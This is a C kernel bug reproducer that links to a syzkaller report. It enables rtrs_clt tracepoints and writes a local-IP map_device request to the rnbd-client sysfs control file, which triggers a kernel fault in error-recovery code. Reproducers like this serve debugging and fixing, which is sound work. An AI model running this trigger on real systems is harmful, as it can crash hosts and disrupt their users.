// https://syzkaller.appspot.com/bug?id=dc85862ccbc77f5df9ec456ce6b2e59019ef92cb
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <unistd.h>
#include <errno.h>

int main(void)
{
    int res;
    int fd;
    const char *val;

    // Mount tracefs/debugfs to access tracing events
    res = mount("tracefs", "/sys/kernel/tracing", "tracefs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount tracefs: %s\n", strerror(errno));
    } else {
        printf("[+] mount tracefs successful.\n");
    }

    res = mount("debugfs", "/sys/kernel/debug", "debugfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount debugfs: %s\n", strerror(errno));
    } else {
        printf("[+] mount debugfs successful.\n");
    }

    // Enable the rtrs_clt tracepoints to ensure the vulnerable code executes
    fd = open("/sys/kernel/tracing/events/rtrs_clt/enable", O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open /sys/kernel/tracing/events/rtrs_clt/enable: %s\n", strerror(errno));
        fd = open("/sys/kernel/debug/tracing/events/rtrs_clt/enable", O_WRONLY);
        if (fd < 0) {
            printf("[-] Failed to open /sys/kernel/debug/tracing/events/rtrs_clt/enable: %s\n", strerror(errno));
            exit(1);
        }
    }
    val = "1\n";
    res = write(fd, val, strlen(val));
    if (res < 0) {
        printf("[-] Failed to write to tracepoint enable: %s\n", strerror(errno));
        exit(1);
    }
    close(fd);
    printf("[+] Enabled tracepoints successful.\n");

    // Trigger the bug by attempting to map a device over a local IP.
    fd = open("/sys/class/rnbd-client/ctl/map_device", O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open /sys/class/rnbd-client/ctl/map_device: %s\n", strerror(errno));
        exit(1);
    }
    val = "sessname=test path=ip:127.0.0.1 device_path=test";
    res = write(fd, val, strlen(val));
    if (res < 0) {
        printf("[-] Failed to write to map_device: %s\n", strerror(errno));
        // The write might fail because the connection fails, but the bug is triggered asynchronously.
    }
    close(fd);
    printf("[+] Wrote to map_device successful.\n");

    // Wait for the asynchronous error recovery to trigger the bug
    sleep(5);

    return 0;
}